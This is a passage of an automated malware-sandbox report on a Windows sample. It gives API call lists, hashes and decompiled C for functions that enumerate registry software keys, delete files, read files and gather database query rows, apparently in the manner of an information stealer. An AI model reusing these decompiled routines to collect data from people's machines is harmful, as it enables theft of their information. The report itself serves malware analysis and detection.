GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006396D5
RtlAllocateHeap.NTDLL(00000000), ref: 006396DC
lstrcat.KERNEL32(?,?), ref: 0063973F
lstrcat.KERNEL32(?,004191EC), ref: 00639751
lstrcat.KERNEL32(?,?), ref: 00639765
lstrcat.KERNEL32(?,00418BC4), ref: 00639777
lstrlen.KERNEL32(?), ref: 00639789

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 945dea069637fd638a724e9c00ae8ce1f0ae17f373037bab85af3aabcf168287
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: 8641D8B1900108ABCB14EFA4DD4AFDA77B9AF08700F008598F709D3251D674DEA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006388A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006388CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0063891F
RtlAllocateHeap.NTDLL(00000000), ref: 00638926
lstrcat.KERNEL32(?,?), ref: 00638989
lstrcat.KERNEL32(?,00418BC4), ref: 0063899B
lstrcat.KERNEL32(?,?), ref: 006389AF
lstrcat.KERNEL32(?,00418BC0), ref: 006389C1
lstrlen.KERNEL32(?), ref: 006389D3

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: a4ee53fba71c29962134643cbc52f543f2f146bed5109048e6917c4aca35fae4
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: 9B41A7B1900208ABCB14DBA4DD4AFDA77B9AF0C700F008598F70997151DB35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006383A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006383CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00638425
RtlAllocateHeap.NTDLL(00000000), ref: 0063842C
lstrcat.KERNEL32(?,?), ref: 0063848F
lstrcat.KERNEL32(?,004191EC), ref: 006384A1
lstrcat.KERNEL32(?,?), ref: 006384B5
lstrcat.KERNEL32(?,00418BC4), ref: 006384C7
lstrlen.KERNEL32(?), ref: 006384D9

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: 3453884d2008088d6f2e111b8996524922b162a249ad957ef08274416cb41d76
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: 8B41BAB1900218ABCB14DFA4DD4AFDA77B9AF08700F008594F709D7151DA75DEA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0043CC54, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043D46B
_write_string.LIBCMTD ref: 0043D486
_write_multi_char.LIBCMTD ref: 0043D4B2
__mbtowc_l.LIBCMTD ref: 0043D521

Strings

HD@, xrefs: 0043CC7B

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_write_string
String ID: HD@
API String ID: 153657362-1661062907
Opcode ID: dcea6d594bbd05462df823c6e740a8d614eb22b186ec8c3ce8340e8b52028935
Instruction ID: 956de924d0497dab144cb8114cdf418dd40b6442724e8206559b1fbfbe7fd7cf
Opcode Fuzzy Hash: dcea6d594bbd05462df823c6e740a8d614eb22b186ec8c3ce8340e8b52028935
Instruction Fuzzy Hash: 5BA15EF5D002189BDB24DF54CC81BAEB7B5AB48305F14919AE6097B282D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x875f48
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x879128
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x879140
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,00879128,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00879140,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0063B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0063B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[c), ref: 0063B31B
RegQueryValueExA.ADVAPI32(X[c,0041A4DC,00000000,00000000,?,000000FF), ref: 0063B33C
RegCloseKey.ADVAPI32(X[c), ref: 0063B346

Strings

X[c, xrefs: 0063B304, 0063B342, 0063B338, 0063B307, 0063B33B, 0063B345

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[c
API String ID: 3225020163-270144103
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: 90871d7a17bc57aaaa2bee284cddf5191431f204a8593832757ca594eac6b222
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: B8014FB5A41208BFE700DFE0DD49FEEB7B8EB48700F008568FA05A7291D6745A50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 10.5, APIs: 7, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x8772e0
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x877060
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x8770d8
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x877150
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x875638
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x8771c8
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x877100
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(008772E0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00877060,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(008770D8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00877150,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00875638,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(008771C8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00877100,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00636030, Relevance: 10.5, APIs: 7, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 00636039
DeleteFileA.KERNEL32(0041A2F0), ref: 00636046
DeleteFileA.KERNEL32(0041A650), ref: 00636053
DeleteFileA.KERNEL32(0041A220), ref: 0063605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0063606C
DeleteFileA.KERNEL32(0041A4A8), ref: 00636079
DeleteFileA.KERNEL32(0041A700), ref: 00636085

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE2A, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CE3C
_write_multi_char.LIBCMTD ref: 0043D46B
_write_string.LIBCMTD ref: 0043D486
_write_multi_char.LIBCMTD ref: 0043D4B2
__mbtowc_l.LIBCMTD ref: 0043D521

Memory Dump Source

Source File: 00000012.00000002.778659627.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_42e000_CFE8.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_write_string
String ID:
API String ID: 2136839635-0
Opcode ID: 2a0cbee2ea15352f4f1bd10e48d4c8ec6b4f951626cbcd83657984ced5e23c2f
Instruction ID: 54da587b63f97fca151dd0a3bfd6e3203851b8aabdfb805c6761906bb491cf9b
Opcode Fuzzy Hash: 2a0cbee2ea15352f4f1bd10e48d4c8ec6b4f951626cbcd83657984ced5e23c2f
Instruction Fuzzy Hash: 49A181F1D002299BDB24DF55CC81BAEB374AF48309F10509AE6197B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x878518
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x877290
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006397E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0063980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0063986B
RtlAllocateHeap.NTDLL(00000000), ref: 00639872
lstrcat.KERNEL32(?,?), ref: 006398B9
lstrcat.KERNEL32(?,00418BC4), ref: 006398CB
lstrlen.KERNEL32(?), ref: 006398DA

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: 3c0437dd886616f91de9add908ccfeed5c6b82b325dee7b1a20d6062ba917df0
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: D23161B1900108ABCB14EBA8DD46FDA73B9AF48300F0085A8F70997251D675DAA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x878518
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x878738
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00638760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0063878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006387DF
RtlAllocateHeap.NTDLL(00000000), ref: 006387E6
lstrcat.KERNEL32(?,?), ref: 0063882D
lstrcat.KERNEL32(?,00418BC4), ref: 0063883F
lstrlen.KERNEL32(?), ref: 0063884E

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 3e40f1857f47d457572eaf033c053bb1af0518f97d5833bf5af2cda7cdb37204
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: 9A3188B190020CABCB14EFA8DD46FDA77B9AF48700F0085A4F719D7151DA35DAA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006375D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00637900,00000000,?), ref: 006375F7
GetFileSizeEx.KERNEL32(000000FF,00637900,?,00637900,00000000,?), ref: 0063761C
LocalAlloc.KERNEL32(00000040,?,?,00637900), ref: 0063763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00637900), ref: 00637665
LocalFree.KERNEL32(?), ref: 0063769B
CloseHandle.KERNEL32(000000FF,?,00637900,00000000,?), ref: 006376A5

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: 78522e3f0a6590a8e0c7e41cb4b17b0fe0081d361677256aa2d11bcd5806487b
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
